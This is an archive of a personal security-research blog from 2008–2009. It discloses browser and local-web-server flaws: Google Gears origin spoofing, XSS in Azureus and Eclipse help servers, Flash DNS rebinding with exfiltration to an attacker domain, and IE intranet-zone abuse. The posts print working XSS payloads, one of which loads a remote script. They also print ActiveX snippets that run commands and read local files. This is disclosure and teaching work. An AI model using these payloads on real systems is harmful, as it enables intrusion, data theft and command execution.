Tuesday, April 14, 2009

[ IE 7 and 8 Intranet Zones ]

This is just going to be a quick post on some research that is pretty closely related to research I've done in the past. Cesar Cerrudo of Argennis released a paper on the ramifications of the security settings for the Intranet zone in IE 7 and 8. Last year I did some research into these settings for IE 6 and 7 but didn't take it as far as Cesar has. Go take a look, interesting stuff.

Labels: , , ,

Wednesday, June 25, 2008

[ Cross Environment Hopping ]

This is a subject that's near and dear to my heart.


Very good post detailing the dangers of what's been dubbed "Cross Environment Hopping" along with some thought provoking commentary. I love me some locally running web servers/applications. Gets me all excited just thinking about it! Great research guys.

Labels: , , , , , , , ,

Tuesday, June 03, 2008

[ Google Gears Origin Spoofing ]

The time has come to explain my Google Gears exploit. They've begun to update this issue automatically.


The issue comes about in the way the parameters from the getPermission function in the Factory class are handled. It seems that the parameters provided to Gears through this function (customName, customImage and customMessage) are passed to the Javascript object which then passes them to a modal dialog box that pops up asking the user if they are sure they would like to let Gears be used from that page.


I discovered that the parameters are passed from the Javascript object (both from the IE gears.dll and the Firefox XUL object) using JSON objects. I happened to stumble upon this issue by encoding a back-slash in unicode. The unicode was interpreted by Gears and inserted the backslash next to the double-quote in the JSON object:

{
  "customIcon" : "http://1.2.3.4/gears/gears_sm_1.png",
  "customMessage" : "Trusted Google Code Gears Application for Pwning U",
  "customName" : "Google Code\",
  "origin" : "http://1.2.3.4",
}

As you might imagine, this totally screwed the parsing algorithm in the modal dialog box code and an unhandled exception occured which clued me in to the depth of the problem. I was then able to inject my own code into the JSON object to insert my own origin:

{
  "customIcon" : "http://1.2.3.4/gears/gears_sm_1.png",
  "customMessage" : "Trusted Google Code Gears Application for Pwning U",
  "customName" : "Google Code","orgin":"http://code.google.com"}",
  "origin" : "http://1.2.3.4",
}

And these were the resulting dialog boxes that popped up, in both IE and Firefox.



The really interesting thing is, the way the JSON parsing algorithm was set up, it only cared if the JSON string is valid up to the '}' character so anything after that was not even checked.

This issue allowed me, as an attacker, to make a user believe the code on my page is actually a code.google.com Gears app (or from any other domain for that matter).

This just begs the question; how can a user make an informed decision on what to trust if it's possible to make them believe it came from a trusted location?

Anwwer: they can't.

Labels: , , , , , , ,

Monday, May 05, 2008

[ Vista OS Version Trick ]

I found out about this nifty little trick while messing around with UNC notation in the browser. For those wondering, I'll blog about the second day of Blue Hat some other time. Still mentally recovering from the limo races ;)


So, to start this out, I discovered something interesting about UNC notation. You can specify a port number. For example, if I did this in the browser:

\\1.2.3.4:80

It will actually try to connect to port 80, but it does some strange stuff when it tries that. Since Vista doesn't know exactly WHAT service is running on port 80 it will send a couple interesting requests to it. First it sends an OPTIONS HTTP request to that port. Then if it gets an intelligible response it will send some PROPFIND requests. Weird. Here are a couple examples of what it looks like from my Apache server logs:

8.7.6.5 - - [30/Apr/2008:16:35:23 -0500] "OPTIONS / HTTP/1.1" 200 - "-" "Microsoft-WebDAV-MiniRedir/6.0.6000"

5.4.3.2 - - [29/Apr/2008:16:21:38 -0500] "PROPFIND / HTTP/1.0" 200 - "-" "Microsoft-WebDAV-MiniRedir/6.0.6001"

And here is an actual HTTP request:

PROPFIND / HTTP/1.1
Content-Length: 0
Depth: 0
translate: f
User-Agent: Microsoft-WebDAV-MiniRedir/6.0.6000
Host: 1.2.3.4
Proxy-Connection: Keep-Alive

The thing we want to focus on here is the User-Agent header. It invariably says "Microsoft-WebDAV-MiniRedir/" but the version number included after the slash differs depending on what version of Vista the user is running.


Version 6.0.6000 is Vista Ultimate with no service pack and 6.0.6001 is Vista Ultimate with SP1 installed. I haven't had a chance to test other versions. So if we have a page like this:

<html>
<script>
function f() {
document.getElementById("shady").innerHTML = "<iframe name='s' id='s' src='\\\\1.2.3.4:80' width='40%' height='300'>";
}
setTimeout('f()', 500);
</script>
<body>
Nothing shady going on here....<br><br>
<div id="shady"></div>
</body>
</html>

We can force them to give up their Vista version number just by visiting our page.


Obviously we can make the iframe invisible so the error message doesn't show up for the victim.

So this, in and of itself, is not a system compromising attack, but the more information we can glean from the target the more ammunition we have as attackers. By the way, this does not work in XP.

Labels: , , , , , , ,

Wednesday, April 30, 2008

[ Azureus Web UI XSS ]

Like I said in my uTorrent CSRF post, "more torrent pwnage to come soon". Here it is.


The web UI plugin for Azureus is vulnerable to XSS which leads to Cross Zone scripting attacks since it starts up a web server on the local host and runs a web application.

I won't take the time to explain what all this means since I've done that at length in previous posts. I'll just summarize and say that through these vectors the user is vulnerable to arbitrary command execution, arbitrary read/write of files, and bypass of the same-origin policy (depending on the browser version the victim is using). Let's get right to the attacks.


http://localhost:6886/index.tmpl?search="));alert('xss');//

The vector listed above is one that I found in the search functionality of Azureus.

http://localhost:6886/index.tmpl?d=d&t="));alert('xss');//

And this one Nate found in the torrent details functionality. Obviously the "alert"s are just for PoC.


The post I referenced in a previous blog entry where I disclosed my uTorrent flaws has an example of an interesting CSRF related to the Azureus web UI, although this doesn't lead to system compromise necessarily.

Anyway, this is just another example of how web applications that have been coded with little thought towards security being run on your local machine are highly dangerous.

Labels: , , , , , , , , , , ,

Thursday, April 24, 2008

[ Eclipse Local Web Server Exploitation ]

I'm starting to feel a bit redundant here...


Oh well. I've been told that there is a patch available now for this issue so I'm free to talk about it.

I discovered XSS vulnerabilities in the Eclipse help system. Apparently just about all products based on Eclipse are/were vulnerable.

Since the vulnerability is XSS in a locally running web server (hrm, where have we heard that before...) if the user is running IE they may be in trouble.


When you click on Help -> Help Contents a web server is started up on the local machine. Upon further investigation I discovered that this server is an Apache Coyote 1.1 web server. The web server seems to be started on a pseudo-random port but it felt like a lot of the port numbers were used quite frequently. I never performed any kind of analysis on the random number generation for the port number so I'll leave that to someone else if they want to.

Anyway, let's get to the pwnage. Here's the location of the reflected XSS in the Eclipse Help System:

http://localhost:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');
</script>


Here's the location of the persistent XSS:

http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&
workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E
&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=

One thing I did find particularly interesting was trying to work around the fact that when I exploited the reflective XSS the web app did not change %20's back into spaces. It took a little thinking to get around this, but I managed.

So how does one write a Javascript payload with no spaces? Pretty simply actually. Let's take this snippet of sample code that we want to use for our payload:

function f(){
    var hr = new ActiveXObject("Msxml2.XMLHTTP");
    hr.onreadystatechange = function(){
       alert(hr.responseText);
    };
    hr.open("GET","http://www.google.com",true);
    hr.send(null);
}

setTimeout('f()',2000);

First of all, the "var" keyword is not needed. You can perform implicit variable declaration in Javascript. But what about the rest? What I did was get rid of all the whitespace that wasn't needed and came up with this:

function f(){hr=new ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=function(){
alert(hr.responseText);};hr.open("GET","http://www.google.com",true);hr.send(null);}
setTimeout('f()',2000);

That's pretty messy looking, but there are still spaces in there. What I did next was put that entire thing into a string and replaced the spaces with "..".

b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=
function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);
hr.send(null);}setTimeout('f()',2000);";

But if you eval that string it's not going to work because of the ".." characters replacing the spaces. Just use the replace function!

b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=
function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);
hr.send(null);}setTimeout('f()',2000);";
a=a.replace(/\.\./g,String.fromCharCode(32));
eval(a);

If we put it all together we have this as our XSS attack string:

http://127.0.0.1:55610/help/advanced/searchView.jsp?searchWord=a");}b="function..f
(){hr=new..ActiveXObject(\"Msxml2.XMLHTTP\");hr.onreadystatechange=function()..{
alert(hr.responseText);};hr.open(\"GET\",\"http://www.google.com\",true);hr.send
(null);}setTimeout('f()',2000);";b=b.replace(/\.\./g,String.fromCharCode(32));
eval(b);</script>


Labels: , , , , , , ,

Wednesday, April 09, 2008

[ Flash DNS Rebinding Attack Explained ]

Instead of waiting a couple days to post about this, I guess I'll do it now. It's a pretty interesting flaw and since no one has posted the technical details of it yet, I'll be the one to do it.

First of all, this attack relies on DNS canonicalization differences between the browser and Flash. I'm going to pick on IE for this example.

So let's say your DNS search domain is mycompany.com and let's say your browser tries to go to the evil.com website. If evil.com can't be reached your system will start to look through your search domain by performing a DNS lookup for evil.com.mycompany.com (this is difficult because I need to be careful of my use of periods).

On the other hand, if your browser tries to go to evil.com. (notice the dot(.) on the end of that domain name) and it can't connect to it then it won't do any further lookups. It treats evil.com. as an absolute domain (I'm probably not using that terminology correctly, oh well).

The important thing to know here is that IE and Flash treat the differences between evil.com and evil.com. differently.


IE:
You go to evil.com, DNS lookup is performed for evil.com, the browser pins the resulting IP to evil.com and life is good. Then you go to evil.com., IE sees evil.com. as a totally DIFFERENT domain, performs a DNS lookup, pins that IP to evil.com. and life is still good.

All of the cross domain restrictions are in place that you would normally have. XMLHTTP requests are blocked, iframes are protected, etc.


Flash:
The SWF originates from the evil.com domain so URLLoader requests can only be made back to the same domain. But, Flash sees evil.com and evil.com. as THE SAME DOMAIN.


Attack:
Armed with the information above, we can come up with an attack scenario. Since IE treats evil.com and evil.com. as different domains and Flash treats them as the SAME domain, this means pwnage.

Flash allows requests to be made for evil.com. since it sees that as being the originating domain, it passes them off to IE which sees evil.com. as a DIFFERENT domain and performs a DNS lookup. By this time the attacker has changed the IP address for evil.com, either manually or automatically. IE performs the HTTP request for evil.com., passes that result back to Flash and it has now been pwned.


There is one obvious issue with what I've described above: How do you get the information you've obtained through your nefarious means back to your server if you're the attacker? Now that the domain evil.com is rebound in Flash it doesn't seem like an easy proposition.

That's where crossdomain.xml and the Socket class come in. If you have a crossdomain.xml file on your server and another domain name associated with that server, like 0mgurs0pwn3d.com, you can connect back and send the information you've stolen through binary (or probabably even XML) sockets.

Like I mentioned before, Nate and I used this exact flaw in our Picasa exploitation. I couldn't get traditional Anti-DNS Pinning working reliably so came up with this solution.

Labels: , , , , , , ,

Friday, April 04, 2008

[ More On Local Web Servers ]

Just thought I'd post a little discovery I made on the plane-ride home from San Jose. I was looking around in the C:\WINDOWS\system32\drivers\etc directory where the "hosts" file resides and found a file called "networks".


In this file there's a line that looks like this:

loopback                 127

Interesting. I fired up my little web server script that I wrote in Perl, entered "http://loopback" into the address bar of Internet Explorer and magically, I'm in the Local Intranet zone, our sweet spot from my previous post on this topic.


So this is yet another way we can perform Cross Zone Scripting if there's an XSS on a locally running web server.

Labels: , , , , , , ,

Wednesday, March 05, 2008

[ Local Web Servers Are Dangerous ]

edit:
Well, I found out that command execution and file access are not possible through the local intranet zone using default settings. Some of the machines I was testing turned out to have tweaked intranet settings. I should've checked that, but I'm correcting my mistake now. BUT! Check out John Heasman's post on how to use Java in conjunction with the weaker security policy of the local intranet zone to steal password hashes.


The title of this post may seem fairly obvious to those of you in the computer security field. Having a web server running on your machine opens up a plethora of attack vectors; command injection, SQL injection, file upload vulnerabilities, etc. But what I'm posting about today is slightly different from anything else I've seen on the subject.

What if there is a web application on the local web server that is vulnerable to XSS? And what if you are browsing from that machine? Are there any devastating attack vectors regarding this setup that you can think of? I can: Cross-Zone Scripting. The subject of cross-zone scripting has clearly been talked about before, but I'm not sure it's been talked about (at least that I've seen) in this particular context. Let me explain.


There are a few zones in Internet Explorer that we're worried about for this attack. The Internet zone is pretty well restricted. It enforces the same-origin policy, doesn't allow you to load certain ActiveX objects and so on. The Local Intranet zone on the other hand is much less restricted. The Trusted zone is not very restricted either but requires user interaction to put us in that zone. And the Restricted zone is, obviously, very restricted. For brevity's sake, I'll just tell you that the Local Intranet zone is the zone we want to try to get our malicious payload into.


Now, in the context of the scenario I just outlined above, how do we do this?

There are three different ways we can get into the Local Intranet zone.
  • The site must have been connected to previously using the Universal Naming Convention (\\1.2.3.4\share)

  • The site must be in the proxy exceptions list

  • The site cannot contain any dots (.) in its name
Conditions 1 and 2 are going to be difficult to fulfill unless we're in possession of some 1337 ninja hacker 0dayz. Condition 3 is our ticket to mass bl00dy pwnage. At first glance it might seem like we're limited by the dot (.) predicate when we think of the local computer address. The IP 127.0.0.1 is in the internet zone because of the dots in the IP addressing format itself. But, the name "localhost" has no dots in it and just so happens to be in the Local Intranet zone.

So if our attacker injects some malicious Javascript into our local web application like this:

http://localhost/?<script>h=new%20ActiveXObject("Msxml2.XMLHTTP");....</script>

That script will be executed in the Local Intranet zone. But what does that give us as far as pwnage vectors? A lot.
  • Same-origin is NOT enforced in the Local Intranet zone (IE 6 and 7)

  • Can read and write files on the local system using a Scripting.FileSystemObject ActiveX object (IE 6)

  • Can execute arbitrary commands on the local operating system using a WScript.Shell ActiveX object (IE 6)
Ouch.

Incidentally, this all ties in with the research I've been involved in with Nate and Billy in the past, specifically with the Picasa exploit. Always ask yourself, "why are these applications running web servers on my box?" You may not be able to think of a good answer.

edit:
I thought it might be nice to provide some Javascript code so anybody can try this.

Command Execution:
a = new ActiveXObject("WScript.Shell");
a.run("notepad");

File Access:
a = new ActiveXObject("Scripting.FileSystemObject");
b = a.OpenTextFile("C:\boot.ini");
alert(b.ReadLine);

XMLHTTP Request:
hr = new ActiveXObject("MSxml2.XMLHTTP");
hr.onreadystatechange = function() {
    alert(hr.responseText);
}
hr.open("GET", "http://www.google.com", true);
hr.send(null);


Labels: , , , , , ,